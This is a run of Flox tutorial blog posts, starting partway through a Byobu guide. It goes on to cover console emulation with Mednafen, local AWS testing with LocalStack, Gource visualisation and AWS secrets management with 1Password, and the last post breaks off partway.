`F2`** splits the active window into two horizontal panes; - **`CTRL` + `F2`** splits the active window into two vertical panes; - **`SHIFT` + `F3`** cycles backward through active panes in a split-window configuration; - **`SHIFT` + `F4`** cycles forward through active panes in a split-window configuration; [1] **Note**: both **`F6`** and **`SHIFT` + `F6`** seem to produce the same result with the default keybindings? For those of us who came up with GNU Screen, Byobu can also optionally support its default shortcut/escape key sequence, **`CTRL` + `A`+ ``**. But—good news!—you can turn this on or off. [Emacs](https://github.com/emacs-mirror/emacs) users will want to turn this the heck off. Let’s take a look at how it works. ## How to install Byobu First, we’ll install [the `byobu` package from the Flox catalog](https://hub.flox.dev/packages/base/byobu), and we’ll grab [the `tmux` package](https://hub.flox.dev/packages/base/tmux), too, just in case it isn’t already available on our system. Let’s assume we’re in our [default](https://flox.dev/docs/tutorials/default-environment/?h=default) Flox environment, which typically lives in `$HOME`. ``` daedalus@askesis:~$ flox install byobu tmux ✅ 'byobu' installed to environment 'default' ✅ 'tmux' installed to environment 'default' ``` Next we’ll run **`flox activate -- byobu`**. This tells Flox to run the command `byobu` in the subshell it creates when activating the environment. Running `byobu` puts us into a multiplexed terminal session: Figure: A clean Byobu session running inside a Flox environment ## Status notifications and split screens Byobu ships with a host of pre-built status notifications, including information about available updates; whether or not a reboot is required; network activity; CPU, disk, and memory usage; number of active users; system load, and so on. It also makes it easy to define custom status notifications, like the current Git branch and its status; GPU usage; or how many Docker containers are running. Basically, if you can construct a shell command that returns information about a resource or service, you can usually turn that into a custom Byobu status notification. If you are an avid Byobu user, your status notifications might already be pre-configured. Across the bottom, from left to right, Byobu displays information about: - My OS/Linux distribution; - The version of my OS/Linux distribution (this says `n/a` because I’m running Debian testing); - My CPU architecture - WiFi signal strength/quality - System load - Number of processors (inclusive of threads) - Total memory/Memory utilization - My IP address - Date - Time Figure: The Byobu status bar provides real-time system metrics You can configure what gets displayed here using the **`F9`** shortcut key and selecting the `Toggle Status Notifications` option. (You can also trigger this wizard from outside of Byobu by running `byobu-config`.) This brings up the following ncurses interface: Figure: The ncurses-based configuration menu makes customization easy First I’ll create a vertical split-screen by pressing **`CTRL` + `F2`**. Then I’ll run [htop](https://github.com/htop-dev/htop) in one pane and [iotop](https://github.com/Tomas-M/iotop) in t’other. Just because it’s the Friday before Christmas (and PTO) and I’m feeling a penurious lack of creativity. Figure: A vertical split showing two different system monitoring tools. From here, I can sub-divide my panes horizontally if I so desire. And I do so desire: Figure: Complex layouts are possible by combining vertical and horizontal splits. With [Glances](https://github.com/nicolargo/glances) and [Neofetch](https://github.com/dylanaraps/neofetch) on top of htop and iotop, I’d say I’m well on my way to information overload. Oh yes: Did I mention that I got each of these packages, too, from the Flox Catalog? Several of them (`htop`, `iotop`) are already installed in my `default` Flox environment. Unlike the older packages I get from the Ubuntu or Debian (stable) catalogs, the ones I get from the Flox Catalog are usually the latest (or at least almost-latest) versions. ## **Detaching and reattaching sessions** One of the biggest advantages of using Byobu (and tmux) is the ability to persist your work, even when you close your terminal or lose an SSH connection. This detach/reattach workflow effectively gives you a “persistent remote desktop” inside your terminal. You can start long‑running jobs, disconnect at any time, and return later without losing state. ### **Detaching** Detaching and reattaching sessions is the core of that workflow. You can cleanly disconnect from your current session at any time by pressing: F6. This immediately returns you to your normal shell, but your entire session continues uninterrupted in the background. ### **Reattaching** To jump back into a running session, you can simply run: byobu. This will automatically reattach your most recent session. If you want to explicitly reattach, you can also use: byobu attach. Either command restores your full environment instantly—windows, panes, scrollback history, and all running tasks. ### **Listing active sessions** To see which sessions are currently running, use either Byobu or tmux commands: byobu list-sessions or tmux list-sessions. This shows all persistent sessions, their names, and whether they’re currently attached. ## A practical Byobu workflow: Running and monitoring Ollama This isn't necessarily advanced, but it does give you a slightly better idea of how Byobu can improve your workflow. In the screenshot below, I first activated Flox's Ollama prototype runtime as a FloxHub environment, using the command **`flox activate -s -r flox/ollama`**. This created a temporary local copy of the remote Flox environment `ollama`, activates it (with the `-r` switch, for “remote”), starts the Ollama service (with the `-s` switch, for “services”), and puts me into a Flox subshell. Then I ran the following command: ``` flox services logs --follow ``` This lets me monitor the messages generated by Ollama in the active window. I then used **`SHIFT` + `F2`** to split my window into two horizontal panes, and pressed **`CTRL` + `A` + `TAB`** (I love my GNU Screen shortcuts) to switch to the other, just-created pane. Here I activated another instance of the Flox Ollama prototype environment (**`flox activate -r /flox/ollama`**) and told Ollama to fetch and run the latest version of the `llama3` model (**`ollama run llama3`**). Once the model loaded, I was able to query it in the top-most pane of my sub-divided terminal window. If you're working with a runtime service that prints messages to the console (e.g., Node.js), this split-screen capability can be enormously useful in your workflow. ## Summary(R)(TM) So that’s Byobu. Before Tilix, Kitty, or iTerm2 were things, it gave you an easy way to subdivide your terminal window into panes. (Incidentally, you can `flox install` each of these terminal emulators from the Flox Catalog!) For my money, it’s still one of the best solutions to this problem, and also lets you detach, persist, and reconnect to your workflows—whether you’re logged in via a local console or connecting via ssh. It’s fairly configurable, boasts optional mouse support, and runs everywhere I’ve tried it. It lives in my `default` Flox environment, so it’s one of the first thing that gets installed on a new system. ## FAQs about Byobu and Flox ### What is Byobu and how does it relate to tmux? Byobu is a text-based window manager and wrapper that acts as a user-friendly front-end for terminal multiplexers like tmux or GNU Screen. It enhances the core functionality of these backends by providing pre-configured status notifications, intuitive keybindings, and system resource monitoring out of the box. ### How do I install Byobu using Flox? You can install Byobu directly into your default environment or a specific project environment by running the command `flox install byobu`. Once the installation is complete, you can start the application by activating the environment with `flox activate -- byobu` and running `byobu` to enter a multiplexed session. ### Can I disconnect from a session without stopping my running processes? Yes, one of the primary benefits of using a terminal multiplexer is the ability to detach from a session while keeping your processes active in the background. You can press `F6` to detach from the current Byobu session, which allows you to safely log out or close your terminal window. To resume your work exactly where you left off, simply run the `byobu` command again upon reconnecting to your system. ### How can I customize the status bar at the bottom of the screen? Byobu includes a comprehensive configuration menu that lets you toggle various system indicators, such as memory usage, battery life, and network statistics. You can access this menu by pressing `F9` inside a session or by running `byobu-config` from the command line. This flexibility allows you to tailor the information displayed to suit your specific monitoring needs or define custom notifications for other services. Title: Step into Christmases Past with Flox and Random Access Memories Source: https://flox.dev/popular-packages/step-into-christmases-past-with-flox-and-random-access-memories/ Date: 2024-12-19 Category: tutorial # Step into Christmases Past with Flox and Random Access Memories What does console emulation have to do with building, testing, and shipping software? The trick lies in creating a partially turn-key emulation environment that Just Works across OSs and CPU architectures. For Flox, this is its superpower! Did you ever wake up on Christmas morning hours before the winter sun's ignited … just so you could play video games? Flox remembers. That's why we created a turn-key Flox example environment for re-playing all of your favorite Nintendo (NES), Super Nintendo (SNES), Gameboy, Sega Genesis, TurboGrafx-16, and PlayStation 1 games. Just run `flox activate` and step into Christmases, Hannukahs, Festivuses, and Saturnalias past! ## Random access memories Deep beneath the surface of the planet Zebes, you feel your skin crawling, your long, luxurious, golden-blonde hair standing on end. Your [Samus](https://en.wikipedia.org/wiki/Samus_Aran)-sense is tingling. It’s telling you you’re close. At times your journey has felt like one of those side-scrolling visual-interactive epics, called “games,” you read about in your Ancient Aliens classes long ago. Relics of a mysterious species called “human beings.” Like the hero in one of those human epics, you’ve met and vanquished not one but _two_ powerful jefes in [Kraid](https://en.wikipedia.org/wiki/Characters_of_the_Metroid_series#Kraid) and [Ridley](https://en.wikipedia.org/wiki/Ridley_(Metroid)). Both inflicted grievous wounds, but you prevailed—and healed miraculously. Now you’ve got to vanquish the being that birthed this nightmare: Mother Brain. “Relax,” you tell yourself. “I got this.” OK, maybe _Metroid_ wasn’t your jam. And maybe the gaming experiences you imagined weren’t quite so … vivid. But whether it was _The Legend of Zelda_, _Super Mario World_, _Sonic the Hedgehog_, _Final Fantasy VII_, _Mario Kart_, or something else, you’ve probably frittered away part of a Christmas, Hannukah, Festivus, or Saturnalia morning caught up in a side-scrolling visual-interactive epic of some kind. ## Hot TUI time machine If you’ve still got the original ROM versions or CDs of those games, you’re in luck! [Just extract their contents](https://www.retrogameboards.com/t/the-ripping-thread-how-to-build-your-own-legit-retro-rom-library/98) and fire up Flox’s Step Into Xmas Past emulator to start playing them. Even if you don’t, we got you covered. Our example environment includes logic that fetches a collection of [homebrew, public domain ROMs](https://github.com/retrobrews/snes-games/) from the [retrobrews](https://github.com/retrobrews/) GitHub repo. [_Super Boss Gaiden_](https://www.youtube.com/watch?app=desktop&v=xRTXf5LPL3I&t=0s) isn’t quite _Double Dragon_, but it’s kind of close? Getting it is simple because you can test drive it as a FloxHub environment: ``` flox activate -r flox/mednafen ``` This activates the FloxHub environment `mednafen` (with the -r switch) and puts you in a Flox subshell. When you type `exit` to quit (or press `CTRL + D`), the session ends (but the local copy of the environment remains cached for next time). **Note**: “[Mednafen](https://mednafen.github.io/)” is the the emulator used in the environment. See **Housekeeping Notes** below. ## Getting started When you first `flox activate` the environment, you’re prompted with a question: ``` ✅ You are now using the environment 'mednafen'. To stop using this environment, type 'exit' ┃ Download homebrew SNES collection into cwd? ┃ ┃ Yes No ←/→ toggle • enter submit • y Yes • n No ``` If you don’t have any legally acquired ROMs of your own, this’ll at least give you something to play with. We automatically run [broot](https://flox.dev/blog/totally-transform-your-terminal-workflow-with-broot-and-flox/), which gives you a way to find and play your games. Use the cursor keys to navigate to where your games live, highlight the game you want to play, and press `:` followed by `m`, then hit `Enter`. broot supports custom “verbs” (i.e., actions), and this Flox environment defines several verbs for playing and editing ROM images. You can modify these with `flox edit` to customize the value after “shortcut”: ``` [[verbs]] invocation = "mednafen" execution = "mednafen {file}" shortcut = "m" apply_to = "file" [[verbs]] invocation = "edit" execution = "nvim {file}" shortcut = "e" apply_to = "file" [[verbs]] invocation = "open" execution = "xdg-open {file}" shortcut = "o" apply_to = "file" ``` **Note**: If you opted to download the homebrew SNES games, they’re installed into `snes-games` in your project directory. In the screenshot below, I’ve highlighted _Super Boss Gaiden_, and I’m ready to press `:m` + `Enter`. This will launch the game in a scaled 3:4-aspect-ratio window. From there, I can configure my “controller” settings. **Note**: to exit `broot`, type `:q` and press `Enter`. When you quit a game, this puts you back into your Flox subshell. Just run `broot` to start over again. ## Making it your own The first time you run a game, you’re going to want to press `SHIFT + ALT + 1` to create custom keymappings for Player 1. If you have a gamepad, you _should_ be able to configure it during this step, too. The installed [sdl2](https://www.libsdl.org/) package provides APIs for audio, video, and human-interactive devices. One of us picked up a couple of USB-retrofitted NES controllers and they work just fine. They work so well, in fact, that they contributed to this article being finished later than promised. Below is a screenshot from the aforementioned _Super Boss Gaiden_ homebrew game. The unnamed fictional CEO in this custom-built masterpiece is vexed because a canceled product prototype, the [SNES CD-ROM add-on](https://en.wikipedia.org/wiki/Super_NES_CD-ROM), has somehow gotten into the wild. I won’t say they’re responding appropriately, but their frustration _does_ seem understandable. The quality on the homebrew games is generally quite good, the game play comparable to the best games from the SNES era. From the [retrobrews repo](https://github.com/retrobrews?tab=repositories), you can also grab homebrew games for Atari, NES, Commodore 64, and other platforms. ## Reliving Christmas in Hollis But, like me, you probably also have a few legally extracted ROM images at your disposal, too. Games you _really did_ wake up frightfully early to play on a Christmas (or Hannukah, or Saturnalia) morning. Games like _Metroid_: Or _Zelda_, my great/awesome friend Dana G-C’s go-to- jam bitd: Or _Tecmo Super Bowl_. The Patriots’ 10 points are courtesy of my onside-kicking on every kickoff: And, of course, Super Mario Bros.: Ross fancies the SNES, while I’m kind of a die-hard NES-head. The good news is that Mednafen can emulate more than a dozen consoles, handhelds, and legacy computer systems, including: - Nintendo Entertainment System (NES) / Famicom - Super Nintendo Entertainment System (SNES) - Game Boy / Game Boy Color - Game Boy Advance - Sega Master System - Sega Genesis / Mega Drive - Sega Game Gear - PC Engine / TurboGrafx-16 / SuperGrafx - Sony PlayStation (PS1) - Neo Geo Pocket / Neo Geo Pocket Color - Atari Lynx - PC-FX - Virtual Boy If you’ve got old Playstation games lying around, you could easily rip those using a tool like [Imgburn](https://www.imgburn.com/) and play them with our environment. The Flox Catalog also has emulators for Playstation 2 (`pcsx2`) and Playstation 3 (`rpcs3`), along with `dolphin` for emulating Nintendo Gamecube, Wii, and other consoles. These do tend to be OS- and CPU-specific, however. This last point raises the question as to why we made the decisions we did in creating this environment. So let’s talk about that. ## Housekeeping Notes Console emulation is a good demonstration of what you can and can’t accomplish with a Flox environment. The upshot is that building an emulation environment that works across Linux, macOS, and Windows/WSL2 on [both x86 _and_ ARM]((https://flox.dev/docs/tutorials/multi-arch-environments/?h=multi)) is … well, as Han Solo aptly puts it: It ain’t like dusting crops. For one thing, we need an emulator that both works across platforms _and_ is available in the Flox Catalog. Our catalog uses [Nixpkgs](https://github.com/NixOS/nixpkgs) as its upstream source, which gives it access to 120,000 different packages (with millions of software package-version combinations), but vanishingly few of these are emulators. We selected Mednafen because it’s (**1**) in the Flox Catalog and (**2**) gives us the best combination of cross-platform compatibility and breadth of support for emulating different types/eras of consoles. Another challenge is that emulating even _40-year-old_ console hardware involves trade-offs, especially if your aim is to create an environment that runs and behaves the same way across dissimilar OSs and CPU architectures, with or without support for graphics APIs like DirectX, OpenGL, or Metal, or audio APIs like WASAPI, PulseAudio, or CoreAudio. We need an emulator that either Just Works on a given platform or that we can bootstrap and Get Working as easily as possible. Mednafen Just Worked out-of-the-box on macOS, but needed a _wee_ bit of conditional logic to work with [PipeWire](https://github.com/PipeWire/pipewire) on Linux. First, we had to install the `sdl2` package—but only for Linux systems. Then we had to define hardware settings specific to Linux. Here’s what this looks like in our Flox environment’s `manifest.toml`. First, the `[install]` section, which is basically the [SBOM](https://en.wikipedia.org/wiki/Software_supply_chain) defining which versions of which software packages get used in the environment. The `SDL2.systems` definition below tells Flox to make the `SDL2` package available _only_ on x86-64 and ARM Linux systems. On macOS platforms, this package is neither installed nor available. ``` [install] mednafen.pkg-path = "mednafen" mednafen.pkg-group = "mednafen" broot.pkg-path = "broot" unzip.pkg-path = "unzip" gum.pkg-path = "gum" SDL2.pkg-path = "SDL2" SDL2.systems = [ "aarch64-linux", "x86_64-linux", ] ``` Next, we created logic that defines which audio API or audio-processing library gets used in Linux and WSL2. This lives in the [[hook] section](https://flox.dev/docs/tutorials/customizing-environments/?h=hook#customize-the-environments-shell-hook): ``` write_mednafen_cfg() { local mednafen_cfg_file="$FLOX_ENV_CACHE/mednafen.cfg" if [[ -f "$mednafen_cfg_file" ]]; then return fi cat > "$mednafen_cfg_file" < Title: Build and Debug AWS Workflows Locally with Flox, LocalStack, and Colima Source: https://flox.dev/popular-packages/building-and-debugging-aws-workflows-locally-with-flox-localstack-and-colima/ Date: 2024-12-11 Category: tutorial # Build and Debug AWS Workflows Locally with Flox, LocalStack, and Colima Do your teams need a reproducible, collaborative way to manage AWS secrets and authenticate with AWS services across disparate systems and environments? Fear not! Flox has got them covered. You can use Flox to create a shareable, turn-key _local_ environment for developing and testing the workloads and build artifacts you deploy to AWS, as well as configuring the resources required to run them. The magic comes via the [community edition](https://github.com/localstack/localstack) of [LocalStack](https://www.localstack.cloud/), a platform that emulates AWS services by running them in containers, and [Colima](https://github.com/abiosoft/colima), a lightweight Linux VM for macOS and Linux. With Colima, you can spin up LocalStack without installing a separate container runtime. Flox makes it easy to build both packages into a portable environment that Just Works across macOS, Linux, and Windows with WSL2. If you live inside the AWS CLI, this pattern should drop _right_ into your workflow. You use LocalStack’s `awslocal` wrapper to interact with 35 different LocalStack AWS services, running virtually any command you might with `aws`. This gives you a way to prototype and test locally with `awslocal` before deploying. Keen to learn more? Let’s get to it! ** TL;DR** - Emulate AWS services locally to reduce costs. - Use Flox for reproducible environments anywhere. - Debug Lambdas instantly without cloud latency. - Configure S3 buckets and IAM roles offline. - Test CloudFormation templates before production deployment. ## The challenge: Simulating cloud infrastructure locally Consider a scenario where you need to build a microservice that collects PDFs from various sources, scraping them to extract and analyze raw text and images. You are tasked with building the data ingestion component of this service. This workflow involves complex interactions between storage, permissions, and compute resources. Traditionally, testing this would require provisioning live cloud resources, leading to slow feedback loops and potential costs. By using Flox, Colima, and LocalStack, you can replicate this infrastructure on your laptop for a seamless development experience. ## Setting up your local dev environment In previous workflows, you may have used [building and deploying Lambda functions with Flox](https://flox.dev/blog/flox-and-aws-building-testing-and-deploying-lambda-functions-with-flox-and-aws-sam/) and the AWS SAM CLI to develop and debug locally. Setting up your dev environment was as easy as running a single activation command. This time, your workflow is more complex: not only do you need to author a new Lambda function, but you also need to provision and configure new AWS resources. This is the perfect use case for LocalStack. Start by cloning your project repository and changing into your project directory. Run `flox activate` to enter a virtual environment containing the AWS CLI, AWS SAM CLI, GitHub CLI, [1Password CLI](https://flox.dev/blog/get-your-preferred-secrets-manager-in-a-portable-cross-platform-cli-toolkit/), and other essential tools. Next, you activate the shared Flox environment your org created for running LocalStack and Colima: ``` flox activate -s -r fluffirmations/localstack ``` What you’ve done is “[layered](https://flox.dev/blog/a-very-short-introduction-to-layering-in-flox/)” two Flox environments on top of another, creating the equivalent of a virtual software stack. The -r switch tells Flox to activate `localstack` as a [FloxHub environment](https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub/), which is roughly analogous to an isolated, on-demand virtual overlay that you can invoke and run in any project directory. It gives you a dead simple way to spin up a local AWS development environment when you need it, and turn it off when you don’t. ## Verifying available AWS LocalStack services Before getting started, double check which AWS services are available in your local instance: ``` localstack status services ┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┓ ┃ Service ┃ Status ┃ ┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━┩ │ acm │ ✔ available │ │ apigateway │ ✔ available │ │ cloudformation │ ✔ available │ │ cloudwatch │ ✔ available │ │ config │ ✔ available │ │ dynamodb │ ✔ available │ │ dynamodbstreams │ ✔ available │ │ ec2 │ ✔ available │ │ es │ ✔ available │ │ events │ ✔ available │ │ firehose │ ✔ available │ │ iam │ ✔ available │ │ kinesis │ ✔ available │ │ kms │ ✔ available │ │ lambda │ ✔ available │ │ logs │ ✔ available │ │ opensearch │ ✔ available │ │ redshift │ ✔ available │ │ resource-groups │ ✔ available │ │ resourcegroupstaggingapi │ ✔ available │ │ route53 │ ✔ available │ │ route53resolver │ ✔ available │ │ s3 │ ✔ available │ │ s3control │ ✔ available │ │ scheduler │ ✔ available │ │ secretsmanager │ ✔ available │ │ ses │ ✔ available │ │ sns │ ✔ available │ │ sqs │ ✔ available │ │ ssm │ ✔ available │ │ stepfunctions │ ✔ available │ │ sts │ ✔ available │ │ support │ ✔ available │ │ swf │ ✔ available │ │ transcribe │ ✔ available │ └──────────────────────────┴─────────────┘ ``` Just about everything you need! A few services are missing, like [ECR](https://aws.amazon.com/ecr/), which is a LocalStack Pro option, but there’s still plenty to work with. Run `flox list -c` to see exactly what’s installed in this new environment. Along with some automation logic that (**a**) bootstraps the `colima` and `localstack` services and (**b**) sets up a Python venv, you see the following: ``` flox list -c -r fluffirmations/localstack [install] colima.pkg-path = "colima" docker.pkg-path = "docker-client" gum.pkg-path = "gum" localstack.pkg-path = "localstack" kubectl.pkg-path = "kubectl" python311Full.pkg-path = "python311Full" pip.pkg-path = "python311Packages.pip" boto3.pkg-path = "python311Packages.boto3" ``` This represents the complete software manifest for your Flox `localstack` environment. ## Creating IAM roles and S3 buckets locally First, you’ll need to create a new IAM role for running functions in Lambda. Your repo already contains a `trust-policy.json`, so you run `awslocal` with the appropriate sub-command to set this up in LocalStack. Note: `awslocal` is a Python-based wrapper for `aws`; it seems to do everything the actual command does. ``` awslocal iam create-role --role-name LambdaS3ExecutionRole --assume-role-policy-document file://./trust-policy.json { "Role": { "Path": "/", "RoleName": "LambdaS3ExecutionRole", "RoleId": "AROAQAAAAAAANK5Z6DEDJ", "Arn": "arn:aws:iam::3141592653589:role/LambdaS3ExecutionRole", "CreateDate": "2024-12-10T21:57:07.770000+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } } } ``` The content in curly braces is the output of the `awslocal iam create-role` command. Next, switch to the task of creating new S3 buckets for your Lambda function’s workflow. You can do this in LocalStack just as you would in the actual AWS environment: ``` awslocal s3api create-bucket \ --bucket peedeeeff-bucket \ --region us-east-1 awslocal s3api create-bucket \ --bucket lambda-lies-down-on-broadway \ --region us-east-1 awslocal s3api create-bucket \ --bucket rawtext-bucket \ --region us-east-1 awslocal s3api create-bucket \ --bucket rawimages-bucket \ --region us-east-1 ``` ## Deploying with CloudFormation locally LocalStack _also_ bundles a version of AWS CloudFormation, which you can use instead. When deploying your function to Lambda, organizations often prefer CloudFormation to define infrastructure as code. This makes it easier to version, share, and replicate resources across deployments. Grab a `cloudformation-template.yaml` file and customize it to suit your needs. You “deploy” this file in LocalStack the same way you would in AWS: ``` awslocal cloudformation create-stack \ --stack-name pdf-processing-stack \ --template-body file://cloudformation-template.yaml \ --capabilities CAPABILITY_NAMED_IAM { "StackId": "arn:aws:cloudformation:us-east-1:3141592653589:stack/pdf-processing-stack/8351048e" } ``` It _looks_ like it worked, but did it? To double check, run: ``` awslocal cloudformation describe-stacks --stack-name pdf-processing-stack { "Stacks": [ { "StackId": "arn:aws:cloudformation:us-east-1:3141592653589:stack/pdf-processing-stack/8351048e", "StackName": "pdf-processing-stack", "CreationTime": "2024-12-10T23:24:24.079000+00:00", "LastUpdatedTime": "2024-12-10T23:26:12.452000+00:00", "RollbackConfiguration": {}, "StackStatus": "CREATE_COMPLETE", "DisableRollback": false, "NotificationARNs": [], "Capabilities": [ "CAPABILITY_NAMED_IAM" ], "Tags": [], "EnableTerminationProtection": false, "DriftInformation": { "StackDriftStatus": "NOT_CHECKED" } } ] } ``` You’ve just used CloudFormation to create your S3 buckets. Once you’ve authored and tested your Lambda function, you’ll include that in the `cloudformation-template.yaml`, too. You’ll also define an event-driven S3 trigger that fires each time a new batch of PDFs shows up in the `PeeDeeEff` bucket. Note: LocalStack’s S3 implementation doesn’t support [S3 event notifications](https://docs.aws.amazon.com/AmazonS3/latest/userguide/EventNotifications.html), so during testing, you’ll need to manually run the `awslocal lambda invoke` command, specifying the name of your function. When you deploy your `cloudformation-template.yaml` to your production AWS environment, you'll provision all necessary resources and define their dependencies. ## Deploying Your Lambdas locally Once you have working code, it is time to deploy it for testing in LocalStack Lambda. Building and testing your Lambdas locally allows you to move much faster. Feedback loops are shorter, and you can iterate quickly without obsessing about getting everything perfect before a cloud deployment. ``` awslocal lambda create-function --function-name PDFProcessor --runtime python3.11 --role arn:aws:iam::3141592653589:role/LambdaS3ExecutionRole --handler lambda_function.lambda_handler --zip-file fileb://lambda_function.zip --timeout 15 --memory-size 128 { "FunctionName": "PDFProcessor", "FunctionArn": "arn:aws:lambda:us-east-1:3141592653589:function:PDFProcessor", "Runtime": "python3.11", "Role": "arn:aws:iam::3141592653589:role/LambdaS3ExecutionRole", "Handler": "lambda_function.lambda_handler", "CodeSize": 1345, "Description": "", "Timeout": 15, "MemorySize": 128, "LastModified": "2024-12-10T22:52:24.217545+0000", "CodeSha256": "IeisxizNCjWYpBrGRQO4OyQpwKCeAbLvyhyWzmNMTZQ=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "eae6c278-9c37-4a95-bc2c-2307b1e0e993", "State": "Pending", "StateReason": "The function is being created.", "StateReasonCode": "Creating", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 }, "SnapStart": { "ApplyOn": "None", "OptimizationStatus": "Off" }, "RuntimeVersionConfig": { "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:8eeff65f6809a3ce81507fe733fe09b835899b99481ba22fd75b5a7338290ec1" }, "LoggingConfig": { "LogFormat": "Text", "LogGroup": "/aws/lambda/PDFProcessor" } } ``` ## Testing and debugging Lambda functions locally With the function deployed, you can begin iterative testing and debugging. Before long, the function runs reliably in LocalStack Lambda and passes both local smoke tests and basic integration tests. Once confident, you are ready to push your function to your organization's Lambda CI alias for further validation. ## Bringing it all back home Whether it is running, testing, and debugging functions in Lambda; creating new S3 buckets; spinning up AMIs; creating and validating Redshift data models; defining CloudFormation IaaC configurations; or performing countless other tasks, working with AWS is much easier if you can prototype and test locally before deploying. Thanks to LocalStack you can work with most AWS services locally. Flox makes this even sweeter, enabling you to experiment with LocalStack _without_ making destructive changes to your local system. Just [install Flox](https://flox.dev/docs/install-flox/) and run: ``` flox activate -s -r flox/colima -- flox activate -s -r flox/localstack ``` Sound too good to be true? Why not [download Flox](https://www.flox.dev/get) and put it to the test? It’s free, [easy to learn](https://flox.dev/docs/). ## FAQs about Building and Debugging AWS Workflows Locally ### Why should I build and debug AWS workflows locally instead of in the cloud? Developing AWS workflows locally significantly accelerates the feedback loop by eliminating the latency associated with cloud deployments and reducing wait times for resource provisioning. This approach also lowers costs by allowing engineers to prototype and test infrastructure-heavy processes without incurring usage fees for live cloud services. By using a portable environment manager, teams can ensure these local workflows are reproducible and consistent across different operating systems. ### How does Flox simplify setting up a local AWS development environment? Flox streamlines the configuration of local environments by allowing developers to layer necessary tools, such as LocalStack and Colima, into a single, shareable environment. This eliminates the complexity of manually managing container runtimes or resolving dependency conflicts on individual machines. Users can simply activate the specific environment to instantly access a fully configured stack that mirrors production requirements on macOS, Linux, or Windows. ### Is it possible to test Lambda functions locally without deploying to AWS? You can author, deploy, and debug Lambda functions entirely within your local environment using emulation tools. This setup allows you to invoke functions, trigger events, and view logs immediately, facilitating rapid iteration and troubleshooting. By integrating this with local storage buckets and IAM roles, you can simulate complex serverless architectures and integration tests without leaving your terminal. Title: Studying Projects with Gource and Flox Source: https://flox.dev/popular-packages/studying-projects-with-gource-and-flox/ Date: 2024-12-06 Category: tutorial # Studying Projects with Gource and Flox Using Gource, you can get a unique sense for your project's history. It gives you a way to visualizes your Git repository's history as an animated tree of commits, contributors, and file changes. They say that a picture is worth 1,000 words. Well, a video is a ton of pictures happening real fast…so a _video_ is worth a whole lot _more words_, right? What if I told you about a way to take your project's Git history and turn it into a video? You'd have a way of visualizing the story of your project as the equivalent of _millions and millions_ of words. That, dear reader, is the efficiency we aim to provide in these package guides. This week our package is [`gource`](https://github.com/acaudwell/Gource), and we've made it easy to automate the importing of [avatars](https://github.com/acaudwell/Gource/wiki/Gravatar-Example) with a Flox one-liner environment. That'll make sure `gource` is filled with friendly faces. ## Gource shows you what you can't read Having a project's Git history in video form isn't just something to go “oooo” at; it's _useful_. There are a lot of things you miss by reading a `git log`. - You can't experience the long pauses between bursts of activity, which are a big part of the breathing pattern of a vibrant project. - You can't identify the lopsided nature of people and files, where a few people invariably tend to jump around the filesystem while the rest stay within a few “neighborhoods”. - You can't see a project sprout as new subsystems necessitate the creation of new directories, and new contributors join. Installing Gource with Flox is as easy as `flox install gource`. You can run it from within a Git project folder and you will (after a short time) see a new window pop up with an animated graph of your project, with files and people as nodes and file changes as lines. You can speed things up with `+` and slow them down with `-`. I recommend, though, running `gource` using the `flox/gource` environment on FloxHub. ``` % flox activate -r flox/gource ``` The Gource Flox environment will let you know if you aren't in a directory with a Git project. If it finds one, though, it will populate a `.git/avatars` folder with pictures for each of the project's contributors. ``` % flox activate -r flox/gource 1 ↵ ✅ You are now using the environment 'flox/gource (remote)'. To stop using this environment, type 'exit' ✅ Created venv ✅ Installed gitfaces \ Downloading avatars to .git/avatars ``` This might take a while, depending on the size of your project. Once it finishes, you should see the Gource window. Figure: Gource running on flox/flox ## Making tools into one-liners This is what Flox does best. It makes great tools like `gource` available, but it also makes it easy to combine them with Python modules like `gitfaces` and create hooks to automate tasks. Then, the whole thing—software and automation—can be pushed to FloxHub and invoked as a one-liner from anywhere. Try it with `gource`, and then view the Flox environment manifest with `flox list -c -r flox/gource` and see how simple it is. Title: Flox and AWS: Taking the Chaos Out of Secrets Management Source: https://flox.dev/blog/flox-and-aws-taking-the-chaos-out-of-secrets-management/ Date: 2024-12-05 Category: guide # Flox and AWS: Taking the Chaos Out of Secrets Management Do your teams need a reproducible, collaborative way to manage AWS secrets and authenticate with AWS services across disparate systems and environments? Fear not! Flox has got them covered. So you’re wrapping up this year’s [AWS re:Invent](https://reinvent.awsevents.com/), inspired, overwhelmed with new ideas, yet still struggling to process the sheer surfeit of stuff Amazon announced this week. There’s _so much_ you want your team to experiment with, but at the same time you feel blocked by a familiar (and frustrating) challenge. You still lack a standard, reproducible solution that teams can use to securely manage AWS secrets and authenticate consistently with AWS services, especially in collaborative local development workflows spanning different OSes and machine architectures. This article walks you through how you can use Flox to create reproducible dev environments for managing AWS secrets, authenticating with AWS services, and automating AWS workflows. All Flox environments are 100% portable, meaning they’ll run and behave the same way everywhere—in local dev, CI, and production. If you struggle with AWS secrets management in a team-based setting, this walk-through was written with you in mind! Intrigued? Read on to discover how this works! ## Keeping It Like a Secret For this walk-through, we’ll showcase a Flox environment that combines 1Password, the popular secrets-management service, and the AWSCLIv2, which we’ll assume doesn’t need an introduction. Secrets management in this environment is handled as follows: - We authenticate via the 1Password CLI when we first activate our Flox environment; - We use the 1Password CLI to obtain long-term `AWS_ACCESS_KEY` and `AWS_SECRET_ACCESS_KEY` secrets from the 1Password vault in which they live; - We use these to obtain short-term secrets from the AWS Secure Token Service (STS); - We export our short-term secrets as environment variables to an ephemeral 1Password environment inside the Flox environment. This is enabled via 1Password’s `op run` sub-command. Got it? Ready to dive in? ## Floxifying Secrets Management If you don’t already have Flox installed, go ahead and [download it](https://www.flox.dev/get). Then pull a copy of my pre-built AWS-1Password example environment from FloxHub and activate it locally: ``` flox pull --copy barstoolbluz/aws-1pass && flox activate ``` Or, if you'd rather test drive it first, you can activate it as a FloxHub environment: ``` flox activate -r barstoolbluz/aws-1pass ✅ You are now using the environment 'barstoolbluz/aws-1pass (remote)'. To stop using this environment, type 'exit' No existing 1Password session found. Authenticating... No accounts configured for use with 